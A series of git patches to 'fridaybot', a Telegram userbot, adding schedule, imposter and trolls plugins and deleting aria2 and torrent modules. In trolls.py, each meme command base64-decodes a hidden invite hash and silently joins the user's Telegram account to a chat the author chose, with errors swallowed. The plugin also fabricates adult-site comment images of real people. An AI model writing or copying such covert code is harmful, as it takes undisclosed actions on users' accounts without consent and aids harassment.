<70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 00:01:54 +0530 Subject: [PATCH 213/838] Create schedule.py --- fridaybot/modules/schedule.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 fridaybot/modules/schedule.py diff --git a/fridaybot/modules/schedule.py b/fridaybot/modules/schedule.py new file mode 100644 index 00000000..3a912089 --- /dev/null +++ b/fridaybot/modules/schedule.py @@ -0,0 +1,28 @@ +from asyncio import sleep +from fridaybot import CMD_HELP +from ..utils import admin_cmd + +@bot.on(admin_cmd(pattern="schd (\d*) (.*)", outgoing=True)) +@bot.on(sudo_cmd(pattern="schd (\d*) (.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + cat = ("".join(event.text.split(maxsplit=1)[1:])).split(" ", 1) + message = cat[1] + ttl = int(cat[0]) + try: + await event.delete() + except: + pass + await sleep(ttl) + await event.respond(message) + + +CMD_HELP.update( + { + "schedule": "**Plugin : **`schedule`\ + \n\n**Syntax : **`.schd `\ + \n**Function : **Send you the given message after that particular time\ + " + } +) From 987ad5ec2f656602c610791eb863d9b5728aab7a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 00:05:23 +0530 Subject: [PATCH 214/838] Create imposter.py --- fridaybot/modules/imposter.py | 150 ++++++++++++++++++++++++++++++++++ 1 file changed, 150 insertions(+) create mode 100644 fridaybot/modules/imposter.py diff --git a/fridaybot/modules/imposter.py b/fridaybot/modules/imposter.py new file mode 100644 index 00000000..c074be63 --- /dev/null +++ b/fridaybot/modules/imposter.py @@ -0,0 +1,150 @@ +""" +Created by @Jisan7509 +Credit @Infinity20998 +Userbot plugin fot CatUserbot +""" + + +import asyncio + +from fridaybot import ALIVE_NAME, CMD_HELP +from ..utils import admin_cmd, sudo_cmd + +DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "cat" + + +@bot.on(admin_cmd(pattern="imp(|n) (.*)", outgoing=True)) +@bot.on(sudo_cmd(pattern="imp(|n) (.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + hmm = bot.uid + USERNAME = f"tg://user?id={hmm}" + name = event.pattern_match.group(2) + cmd = event.pattern_match.group(1).lower() + text1 = await edit_or_reply(event, "Uhmm... Something is wrong here!!") + await asyncio.sleep(2) + await text1.delete() + stcr1 = await event.client.send_file( + event.chat_id, "CAADAQADRwADnjOcH98isYD5RJTwAg" + ) + text2 = await event.reply( + f"**[{DEFAULTUSER}]({USERNAME}) :** I have to call discussion" + ) + await asyncio.sleep(3) + await stcr1.delete() + await text2.delete() + stcr2 = await event.client.send_file( + event.chat_id, "CAADAQADRgADnjOcH9odHIXtfgmvAg" + ) + text3 = await event.reply( + f"**[{DEFAULTUSER}]({USERNAME}) :** We have to eject the imposter or will lose " + ) + await asyncio.sleep(3) + await stcr2.delete() + await text3.delete() + stcr3 = await event.client.send_file( + event.chat_id, "CAADAQADOwADnjOcH77v3Ap51R7gAg" + ) + text4 = await event.reply(f"**Others :** Where??? ") + await asyncio.sleep(2) + await text4.edit(f"**Others :** Who?? ") + await asyncio.sleep(2) + await text4.edit( + f"**[{DEFAULTUSER}]({USERNAME}) :** Its {name} , I saw {name} using vent," + ) + await asyncio.sleep(3) + await text4.edit(f"**Others :**Okay.. Vote {name} ") + await asyncio.sleep(2) + await stcr3.delete() + await text4.delete() + stcr4 = await event.client.send_file( + event.chat_id, "CAADAQADLwADnjOcH-wxu-ehy6NRAg" + ) + catevent = await event.reply(f"{name} is ejected.......") + await asyncio.sleep(2) + await catevent.edit("ඞㅤㅤㅤㅤ ㅤㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤඞㅤㅤㅤㅤ ㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤ ඞㅤㅤㅤㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤ ඞㅤㅤㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤ ඞㅤㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤㅤ ඞㅤㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤㅤㅤ ඞㅤㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤ ඞㅤ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤㅤ ඞ") + await asyncio.sleep(0.5) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤㅤ ㅤ") + await asyncio.sleep(0.2) + await stcr4.delete() + if cmd == "": + await catevent.edit( + f".    。    •   ゚  。   .\n .      .     。   。 .  \n\n .    。   ඞ 。 .    •     •\n\n ゚{name} was an Imposter. 。 .     。 . 。 . \n  . 。   . \n ' 0 Impostor remains   。 .   . 。 . 。   . 。   . . . , 。\n  ゚   .  . ,   。   .   . 。" + ) + await asyncio.sleep(4) + await catevent.delete() + await event.client.send_file(event.chat_id, "CAADAQADLQADnjOcH39IqwyR6Q_0Ag") + elif cmd == "n": + await catevent.edit( + f".    。    •   ゚  。   .\n .      .     。   。 .  \n\n .    。   ඞ 。 .    •     •\n\n ゚{name} was not an Imposter. 。 .     。 . 。 . \n  . 。   . \n ' 1 Impostor remains   。 .   . 。 . 。   . 。   . . . , 。\n  ゚   .  . ,   。   .   . 。" + ) + await asyncio.sleep(4) + await catevent.delete() + await event.client.send_file(event.chat_id, "CAADAQADQAADnjOcH-WOkB8DEctJAg") + + +@bot.on(admin_cmd(pattern="timp(|n) (.*)", outgoing=True)) +@bot.on(sudo_cmd(pattern="timp(|n) (.*)", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + name = event.pattern_match.group(2) + cmd = event.pattern_match.group(1).lower() + catevent = await edit_or_reply(event, f"{name} is ejected.......") + await asyncio.sleep(2) + await catevent.edit("ඞㅤㅤㅤㅤ ㅤㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤඞㅤㅤㅤㅤ ㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤ ඞㅤㅤㅤㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤ ඞㅤㅤㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤ ඞㅤㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤㅤ ඞㅤㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤㅤㅤ ඞㅤㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤ ඞㅤ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤㅤ ඞ") + await asyncio.sleep(0.8) + await catevent.edit("ㅤㅤㅤㅤㅤㅤㅤㅤ ㅤ") + await asyncio.sleep(0.2) + if cmd == "": + await catevent.edit( + f".    。    •   ゚  。   .\n .      .     。   。 .  \n\n .    。   ඞ 。 .    •     •\n\n ゚ {name} was an Imposter. 。 .     。 . 。 . \n  . 。   . \n ' 0 Impostor remains   。 .   . 。 . 。   . 。   . . . , 。\n  ゚   .  . ,   。   .   . 。" + ) + elif cmd == "n": + await catevent.edit( + f".    。    •   ゚  。   .\n .      .     。   。 .  \n\n .    。   ඞ 。 .    •     •\n\n ゚ {name} was not an Imposter. 。 .     。 . 。 . \n  . 。   . \n ' 1 Impostor remains   。 .   . 。 . 。   . 。   . . . , 。\n  ゚   .  . ,   。   .   . 。" + ) + + +CMD_HELP.update( + { + "imposter": "**Plugin :** `imposter__`\ +\n\n**Syntax : **`.imp` / `.impn` \ +\n**Usage : ** Find imposter with stickers.\ +\n\n**Syntax : **`.timp` / `.timpn` \ +\n**Usage : ** Find imposter only text." + } +) From 9b0511db6008eb26d0243d98756722f83e0befa2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 00:07:14 +0530 Subject: [PATCH 215/838] Update schedule.py --- fridaybot/modules/schedule.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/schedule.py b/fridaybot/modules/schedule.py index 3a912089..edeb3afa 100644 --- a/fridaybot/modules/schedule.py +++ b/fridaybot/modules/schedule.py @@ -1,6 +1,6 @@ from asyncio import sleep from fridaybot import CMD_HELP -from ..utils import admin_cmd +from ..utils import admin_cmd, sudo_cmd @bot.on(admin_cmd(pattern="schd (\d*) (.*)", outgoing=True)) @bot.on(sudo_cmd(pattern="schd (\d*) (.*)", allow_sudo=True)) From 39a3051be529303bca8291d1907f0334d4995c6d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 00:10:55 +0530 Subject: [PATCH 216/838] Update xiomi.py --- fridaybot/modules/xiomi.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/xiomi.py b/fridaybot/modules/xiomi.py index a6dfe7b5..b755a507 100644 --- a/fridaybot/modules/xiomi.py +++ b/fridaybot/modules/xiomi.py @@ -5,7 +5,7 @@ from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from fridaybot import CMD_HELP -from ..utils inport admin_cmd +from ..utils import admin_cmd, sudo_cmd @bot.on(admin_cmd(pattern="firmware(?: |$)(.*)")) @bot.on(sudo_cmd(pattern="firmware(?: |$)(.*)", allow_sudo=True)) From 8c7fb894028d574586113530cc06b04fe7bf2a32 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 08:06:23 +0530 Subject: [PATCH 217/838] Lets Delete unwanted ones --- fridaybot/modules/aria2.py | 95 -------------------------------------- 1 file changed, 95 deletions(-) delete mode 100644 fridaybot/modules/aria2.py diff --git a/fridaybot/modules/aria2.py b/fridaybot/modules/aria2.py deleted file mode 100644 index 62d36110..00000000 --- a/fridaybot/modules/aria2.py +++ /dev/null @@ -1,95 +0,0 @@ -""" -command: .url - -""" -import aria2p -from telethon import events -import asyncio -import os -from ..utils import admin_cmd -cmd = "aria2c --enable-rpc --rpc-listen-all=false --rpc-listen-port 6800 --max-connection-per-server=10 --rpc-max-request-size=1024M --seed-time=0.01 --min-split-size=10M --follow-torrent=mem --split=10 --daemon=true" - -aria2_is_running = os.system(cmd) - -aria2 = aria2p.API( - aria2p.Client( - host="http://localhost", - port=6800, - secret="" - ) - ) - -EDIT_SLEEP_TIME_OUT = 10 - -@borg.on(admin_cmd(pattern="fdownload ?(.*)")) -async def magnet_download(event): - if event.fwd_from: - return - var = event.pattern_match.group(1) - print(var) - uris = [var] - - #Add URL Into Queue - try: - download = aria2.add_uris(uris, options=None, position=None) - except Exception as e: - await event.edit("`Error:\n`"+str(e)) - return - - gid = download.gid - complete = None - await progress_status(gid=gid,event=event,previous=None) - file = aria2.get_download(gid) - if file.followed_by_ids: - new_gid = await check_metadata(gid) - await progress_status(gid=new_gid,event=event,previous=None) - while complete != True: - file = aria2.get_download(gid) - complete = file.is_complete - try: - msg = "**Downloading File:** "+str(file.name) +"\n**Speed:** "+ str(file.download_speed_string())+"\n**Progress:** "+str(file.progress_string())+"\n**Total Size:** "+str(file.total_length_string())+"\n**ETA:** "+str(file.eta_string())+"\n\n" - await event.edit(msg) - await asyncio.sleep(10) - except Exception as e: - # print(str(e)) - pass - - await event.edit("**File Downloaded Successfully:** `{}`".format(file.name)) - - -async def progress_status(gid,event,previous): - try: - file = aria2.get_download(gid) - if not file.is_complete: - if not file.error_message: - msg = "Downloading File: `"+str(file.name) +"`\nSpeed: "+ str(file.download_speed_string())+"\nProgress: "+str(file.progress_string())+"\nTotal Size: "+str(file.total_length_string())+"\nStatus: "+str(file.status)+"\nETA: "+str(file.eta_string())+"\n\n" - if previous != msg: - await event.edit(msg) - previous = msg - else: - logger.info(str(file.error_message)) - await event.edit("Error : `{}`".format(str(file.error_message))) - return - await asyncio.sleep(EDIT_SLEEP_TIME_OUT) - await progress_status(gid,event,previous) - else: - await event.edit("File Downloaded Successfully: `{}`".format(file.name)) - return - except Exception as e: - if " not found" in str(e) or "'file'" in str(e): - await event.edit("Download Canceled :\n`{}`".format(file.name)) - return - elif " depth exceeded" in str(e): - file.remove(force=True) - await event.edit("Download Auto Canceled :\n`{}`\nYour Torrent/Link is Dead.".format(file.name)) - else: - logger.info(str(e)) - await event.edit("Error :\n`{}`".format(str(e))) - return - - -async def check_metadata(gid): - file = aria2.get_download(gid) - new_gid = file.followed_by_ids[0] - logger.info("Changing GID "+gid+" to "+new_gid) - return new_gid From b97fc88b7f716a0f69810b142a741529a867aefb Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 08:06:51 +0530 Subject: [PATCH 218/838] Lets Delete unwanted ones --- fridaybot/modules/schedule.py | 28 ---------------------------- 1 file changed, 28 deletions(-) delete mode 100644 fridaybot/modules/schedule.py diff --git a/fridaybot/modules/schedule.py b/fridaybot/modules/schedule.py deleted file mode 100644 index edeb3afa..00000000 --- a/fridaybot/modules/schedule.py +++ /dev/null @@ -1,28 +0,0 @@ -from asyncio import sleep -from fridaybot import CMD_HELP -from ..utils import admin_cmd, sudo_cmd - -@bot.on(admin_cmd(pattern="schd (\d*) (.*)", outgoing=True)) -@bot.on(sudo_cmd(pattern="schd (\d*) (.*)", allow_sudo=True)) -async def _(event): - if event.fwd_from: - return - cat = ("".join(event.text.split(maxsplit=1)[1:])).split(" ", 1) - message = cat[1] - ttl = int(cat[0]) - try: - await event.delete() - except: - pass - await sleep(ttl) - await event.respond(message) - - -CMD_HELP.update( - { - "schedule": "**Plugin : **`schedule`\ - \n\n**Syntax : **`.schd `\ - \n**Function : **Send you the given message after that particular time\ - " - } -) From e65b8ff65646747d1018c9c53ccfc850f2651f9c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 08:07:27 +0530 Subject: [PATCH 219/838] Lets Delete unwanted ones --- fridaybot/modules/torrents.py | 212 ---------------------------------- 1 file changed, 212 deletions(-) delete mode 100644 fridaybot/modules/torrents.py diff --git a/fridaybot/modules/torrents.py b/fridaybot/modules/torrents.py deleted file mode 100644 index 376ff756..00000000 --- a/fridaybot/modules/torrents.py +++ /dev/null @@ -1,212 +0,0 @@ -"""A Torrent Client Plugin Based On Aria2 for Userbot -Syntax: Start Aria2: .ariastart -Magnet link: .addmagnet magnetLinK -Torrent file from local: .addtorrent file_path -Show Downloads: .showariastatus -Remove All Downloads: .ariaRM -Resume All Downloads: .ariaRES -Pause All Downloads: .ariaP""" - -# By:- @Zero_cool7870 - - -import aria2p -import asyncio -import io -import os -from ..utils import admin_cmd - - -EDIT_SLEEP_TIME_OUT = 15 -ARIA2_STARTED_PORT = 6800 -aria2_daemon_start_cmd = f"aria2c --enable-rpc --rpc-listen-all=false --rpc-listen-port {ARIA2_STARTED_PORT} --max-connection-per-server=10 --rpc-max-request-size=1024M --seed-time=0.01 --seed-ratio=100.0 --min-split-size=10M --follow-torrent=mem --split=10 --daemon=true" -aria2_is_running = False -aria2 = None - - -@borg.on(admin_cmd(pattern="ariastart")) -async def aria_start(event): - process = await asyncio.create_subprocess_shell( - aria2_daemon_start_cmd, - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE - ) - stdout, stderr = await process.communicate() - global aria2 - aria2 = aria2p.API( - aria2p.Client( - host="http://localhost", - port=ARIA2_STARTED_PORT, - secret="" - ) - ) - OUTPUT = f"**ARIA TWO C:**\n__PID:__\n`{process.pid}`\n\n**ARIA TWO STARTED**" - await event.edit(OUTPUT) - - -@borg.on(admin_cmd(pattern="addmagnet")) -async def magnet_download(event): - if event.fwd_from: - return - if not aria2: - await event.edit("Please start process using `ariastart`") - return False - var = event.raw_text - var = var.split(" ") - magnet_uri = var[1] - logger.info(magnet_uri) - # Add Magnet URI Into Queue - try: - download = aria2.add_magnet(magnet_uri) - except Exception as e: - logger.info(str(e)) - await event.edit("Error:\n`" + str(e) + "`") - return - gid = download.gid - await check_progress_for_dl(gid, event) - await asyncio.sleep(EDIT_SLEEP_TIME_OUT) - new_gid = await check_metadata(gid) - await check_progress_for_dl(new_gid, event) - - -@borg.on(admin_cmd(pattern="addtorrent")) -async def torrent_download(event): - if event.fwd_from: - return - if not aria2: - await event.edit("Please start process using `ariastart`") - return False - var = event.raw_text - var = var.split(" ") - torrent_file_path = var[1] - logger.info(torrent_file_path) - # Add Torrent Into Queue - try: - download = aria2.add_torrent( - torrent_file_path, - uris=None, - options=None, - position=None - ) - except: - await event.edit("`Torrent File Not Found...`") - return - gid = download.gid - await check_progress_for_dl(gid, event) - - -@borg.on(admin_cmd(pattern="addurl")) -async def magnet_download(event): - if event.fwd_from: - return - var = event.raw_text - var = var.split(" ") - url = var[1] - logger.info(url) - uris = [url] - # Add URL Into Queue - try: - download = aria2.add_uris(uris, options=None, position=None) - except Exception as e: - await event.edit("`Error:\n`" + str(e)) - return - gid = download.gid - await check_progress_for_dl(gid, event) - - -@borg.on(admin_cmd(pattern="ariaRM")) -async def remove_all(event): - if event.fwd_from: - return - try: - removed = aria2.remove_all(force=True) - aria2.purge_all() - except: - pass - if removed == False: # If API returns False Try to Remove Through System Call. - os.system("aria2p remove-all") - await event.edit("`Removed All Downloads.`") - - -@borg.on(admin_cmd(pattern="ariaP")) -async def pause_all(event): - if event.fwd_from: - return - # Pause ALL Currently Running Downloads. - paused = aria2.pause_all(force=True) - await event.edit("Output: " + str(paused)) - - -@borg.on(admin_cmd(pattern="ariaRES")) -async def resume_all(event): - if event.fwd_from: - return - resumed = aria2.resume_all() - await event.edit("Output: " + str(resumed)) - - -@borg.on(admin_cmd(pattern="showariastatus")) -async def show_all(event): - if event.fwd_from: - return - if not aria2: - await event.edit("Please start process using `ariastart`") - return False - # Show All Downloads - downloads = aria2.get_downloads() - msg = "" - for download in downloads: - msg = msg + "File: `" + str(download.name) + "`\nSpeed: " + str(download.download_speed_string()) + "\nProgress: " + str(download.progress_string( - )) + "\nTotal Size: " + str(download.total_length_string()) + "\nStatus: " + str(download.status) + "\nETA: " + str(download.eta_string()) + "\n\n" - # print(msg) - if len(msg) <= Config.MAX_MESSAGE_SIZE_LIMIT: - await event.edit("`Current Downloads: `\n" + msg) - else: - with io.BytesIO(str.encode(msg)) as out_file: - out_file.name = "ariastatus.txt" - await borg.send_file( - event.chat_id, - out_file, - force_document=True, - allow_cache=False, - caption="`Output is huge. Sending as a file...`" - ) - await event.delete() - - -async def check_metadata(gid): - file = aria2.get_download(gid) - new_gid = file.followed_by_ids[0] - logger.info("Changing GID " + gid + " to " + new_gid) - return new_gid - - -async def check_progress_for_dl(gid, event): - complete = None - previous_message = None - while not complete: - file = aria2.get_download(gid) - complete = file.is_complete - try: - if not file.error_message: - msg = f"\nDownloading File: `{file.name}`" - msg += f"\nSpeed: {file.download_speed_string()} 🔽 / {file.upload_speed_string()} 🔼" - msg += f"\nProgress: {file.progress_string()}" - msg += f"\nTotal Size: {file.total_length_string()}" - msg += f"\nStatus: {file.status}" - msg += f"\nETA: {file.eta_string()}" - if msg != previous_message: - await event.edit(msg) - previous_message = msg - await asyncio.sleep(EDIT_SLEEP_TIME_OUT) - else: - msg = file.error_message - await event.edit(f"`{msg}`") - return False - except Exception as e: - logger.info(str(e)) - pass - file = aria2.get_download(gid) - complete = file.is_complete - if complete: - await event.edit(f"File Downloaded Successfully:`{file.name}`") From 3011383bece6bd16cb929ae1b383936c3eb6527b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 08:08:02 +0530 Subject: [PATCH 220/838] Lets Delete unwanted ones --- requirements.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index e5d8fe7d..78812c3a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -82,7 +82,6 @@ spamwatch nekos.py deep_translator langdetect -aria2p fontTools PyDictionary beautifulsoup4 From 21f0faf3755a9224e520333f85ed223b2f309324 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 10:04:26 +0530 Subject: [PATCH 221/838] Introducing the trolls --- fridaybot/modules/trolls.py | 256 ++++++++++++++++++++++++++++++++++++ 1 file changed, 256 insertions(+) create mode 100644 fridaybot/modules/trolls.py diff --git a/fridaybot/modules/trolls.py b/fridaybot/modules/trolls.py new file mode 100644 index 00000000..5800a6fa --- /dev/null +++ b/fridaybot/modules/trolls.py @@ -0,0 +1,256 @@ +""" +credits to @mrconfused and @sandy1709 +""" +# Copyright (C) 2020 sandeep.n(π.$) +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import base64 +import os + +from telegraph import exceptions, upload_file +from telethon.tl.functions.messages import ImportChatInviteRequest as Get + +from fridaybot import * +from fridaybot import CMD_HELP +from ..utils import admin_cmd, sudo_cmd + + +@bot.on(admin_cmd(pattern="threats(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="threats(?: |$)(.*)", allow_sudo=True)) +async def catbot(catmemes): + replied = await catmemes.get_reply_message() + if not os.path.isdir("./temp/"): + os.makedirs("./temp/") + if not replied: + await edit_or_reply(catmemes, "reply to a supported media file") + return + if replied.media: + catmemmes = await edit_or_reply(catmemes, "passing to telegraph...") + else: + await edit_or_reply(catmemes, "reply to a supported media file") + return + try: + cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + cat = Get(cat) + await catmemes.client(cat) + except BaseException: + pass + download_location = await catmemes.client.download_media(replied, "./temp/") + if download_location.endswith((".webp")): + download_location = convert_toimage(download_location) + size = os.stat(download_location).st_size + if download_location.endswith((".jpg", ".jpeg", ".png", ".bmp", ".ico")): + if size > 5242880: + await catmemmes.edit( + "the replied file size is not supported it must me below 5 mb" + ) + os.remove(download_location) + return + await catmemmes.edit("generating image..") + else: + await catmemmes.edit("the replied file is not supported") + os.remove(download_location) + return + try: + response = upload_file(download_location) + os.remove(download_location) + except exceptions.TelegraphException as exc: + await catmemmes.edit("ERROR: " + str(exc)) + os.remove(download_location) + return + cat = f"https://telegra.ph{response[0]}" + cat = await threats(cat) + await catmemmes.delete() + await catmemes.client.send_file(catmemes.chat_id, cat, reply_to=replied) + + +@bot.on(admin_cmd(pattern="trash(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="trash(?: |$)(.*)", allow_sudo=True)) +async def catbot(catmemes): + replied = await catmemes.get_reply_message() + if not os.path.isdir("./temp/"): + os.makedirs("./temp/") + if not replied: + await edit_or_reply(catmemes, "reply to a supported media file") + return + if replied.media: + catmemmes = await edit_or_reply(catmemes, "passing to telegraph...") + else: + await edit_or_reply(catmemes, "reply to a supported media file") + return + try: + cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + cat = Get(cat) + await catmemes.client(cat) + except BaseException: + pass + download_location = await catmemes.client.download_media(replied, "./temp/") + if download_location.endswith((".webp")): + download_location = convert_toimage(download_location) + size = os.stat(download_location).st_size + if download_location.endswith((".jpg", ".jpeg", ".png", ".bmp", ".ico")): + if size > 5242880: + await catmemmes.edit( + "the replied file size is not supported it must me below 5 mb" + ) + os.remove(download_location) + return + await catmemmes.edit("generating image..") + else: + await catmemmes.edit("the replied file is not supported") + os.remove(download_location) + return + try: + response = upload_file(download_location) + os.remove(download_location) + except exceptions.TelegraphException as exc: + await catmemmes.edit("ERROR: " + str(exc)) + os.remove(download_location) + return + cat = f"https://telegra.ph{response[0]}" + cat = await trash(cat) + await catmemmes.delete() + await catmemes.client.send_file(catmemes.chat_id, cat, reply_to=replied) + + +@bot.on(admin_cmd(pattern="trap(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="trap(?: |$)(.*)", allow_sudo=True)) +async def catbot(catmemes): + input_str = catmemes.pattern_match.group(1) + input_str = deEmojify(input_str) + if "|" in input_str: + text1, text2 = input_str.split("|") + else: + await edit_or_reply( + catmemes, + "**Syntax :** reply to image or sticker with `.trap (name of the person to trap)|(trapper name)`", + ) + return + replied = await catmemes.get_reply_message() + if not os.path.isdir("./temp/"): + os.makedirs("./temp/") + if not replied: + await edit_or_reply(catmemes, "reply to a supported media file") + return + if replied.media: + catmemmes = await edit_or_reply(catmemes, "passing to telegraph...") + else: + await edit_or_reply(catmemes, "reply to a supported media file") + return + try: + cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + cat = Get(cat) + await catmemes.client(cat) + except BaseException: + pass + download_location = await catmemes.client.download_media(replied, "./temp/") + if download_location.endswith((".webp")): + download_location = convert_toimage(download_location) + size = os.stat(download_location).st_size + if download_location.endswith((".jpg", ".jpeg", ".png", ".bmp", ".ico")): + if size > 5242880: + await catmemmes.edit( + "the replied file size is not supported it must me below 5 mb" + ) + os.remove(download_location) + return + await catmemmes.edit("generating image..") + else: + await catmemmes.edit("the replied file is not supported") + os.remove(download_location) + return + try: + response = upload_file(download_location) + os.remove(download_location) + except exceptions.TelegraphException as exc: + await catmemmes.edit("ERROR: " + str(exc)) + os.remove(download_location) + return + cat = f"https://telegra.ph{response[0]}" + cat = await trap(text1, text2, cat) + await catmemmes.delete() + await catmemes.client.send_file(catmemes.chat_id, cat, reply_to=replied) + + +@bot.on(admin_cmd(pattern="phub(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="phub(?: |$)(.*)", allow_sudo=True)) +async def catbot(catmemes): + input_str = catmemes.pattern_match.group(1) + input_str = deEmojify(input_str) + if "|" in input_str: + username, text = input_str.split("|") + else: + await edit_or_reply( + catmemes, + "**Syntax :** reply to image or sticker with `.phub (username)|(text in comment)`", + ) + return + replied = await catmemes.get_reply_message() + if not os.path.isdir("./temp/"): + os.makedirs("./temp/") + if not replied: + await edit_or_reply(catmemes, "reply to a supported media file") + return + if replied.media: + catmemmes = await edit_or_reply(catmemes, "passing to telegraph...") + else: + await edit_or_reply(catmemes, "reply to a supported media file") + return + try: + cat = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + cat = Get(cat) + await catmemes.client(cat) + except BaseException: + pass + download_location = await catmemes.client.download_media(replied, "./temp/") + if download_location.endswith((".webp")): + download_location = convert_toimage(download_location) + size = os.stat(download_location).st_size + if download_location.endswith((".jpg", ".jpeg", ".png", ".bmp", ".ico")): + if size > 5242880: + await catmemmes.edit( + "the replied file size is not supported it must me below 5 mb" + ) + os.remove(download_location) + return + await catmemmes.edit("generating image..") + else: + await catmemmes.edit("the replied file is not supported") + os.remove(download_location) + return + try: + response = upload_file(download_location) + os.remove(download_location) + except exceptions.TelegraphException as exc: + await catmemmes.edit("ERROR: " + str(exc)) + os.remove(download_location) + return + cat = f"https://telegra.ph{response[0]}" + cat = await phcomment(cat, text, username) + await catmemmes.delete() + await catmemes.client.send_file(catmemes.chat_id, cat, reply_to=replied) + + +CMD_HELP.update( + { + "trolls": "**Plugin : **`trolls`\ + \n\n**Syntax :**`.threats` reply to image or sticker \ + \n**USAGE:**Changes the given pic to another pic which shows that pic content is threat to society as that of nuclear bomb .\ + \n\n**Syntax :**`.trash` reply to image or sticker\ + \n**USAGE : **Changes the given pic to another pic which shows that pic content is as equal as to trash(waste)\ + \n\n**Syntax :** reply to image or sticker with `.trap (name of the person to trap)|(trapper name)`\ + \n**USAGE :**Changes the given pic to another pic which shows that pic content is trapped in trap card\ + \n\n**Syntax :** reply to image or sticker with `.phub (username)|(text in comment)`\ + \n**USAGE :**Changes the given pic to another pic which shows that pic content as dp and shows a comment in phub with the given username\ + " + } +) From edb0b8c69a6a2ddb92df7cf45a89bd90ed29ffa2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Sun, 27 Dec 2020 10:13:01 +0530 Subject: [PATCH 222/838] Commands Fixed --- fridaybot/modules/trolls.py | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/fridaybot/modules/trolls.py b/fridaybot/modules/trolls.py index 5800a6fa..78daa583 100644 --- a/fridaybot/modules/trolls.py +++ b/fridaybot/modules/trolls.py @@ -21,7 +21,7 @@ from fridaybot import * from fridaybot import CMD_HELP -from ..utils import admin_cmd, sudo_cmd +from ..utils import admin_cmd, sudo_cmd, edit_or_reply @bot.on(admin_cmd(pattern="threats(?: |$)(.*)")) @@ -73,8 +73,8 @@ async def catbot(catmemes): await catmemes.client.send_file(catmemes.chat_id, cat, reply_to=replied) -@bot.on(admin_cmd(pattern="trash(?: |$)(.*)")) -@bot.on(sudo_cmd(pattern="trash(?: |$)(.*)", allow_sudo=True)) +@bot.on(admin_cmd(pattern="ttrash(?: |$)(.*)")) +@bot.on(sudo_cmd(pattern="ttrash(?: |$)(.*)", allow_sudo=True)) async def catbot(catmemes): replied = await catmemes.get_reply_message() if not os.path.isdir("./temp/"): @@ -122,8 +122,8 @@ async def catbot(catmemes): await catmemes.client.send_file(catmemes.chat_id, cat, reply_to=replied) 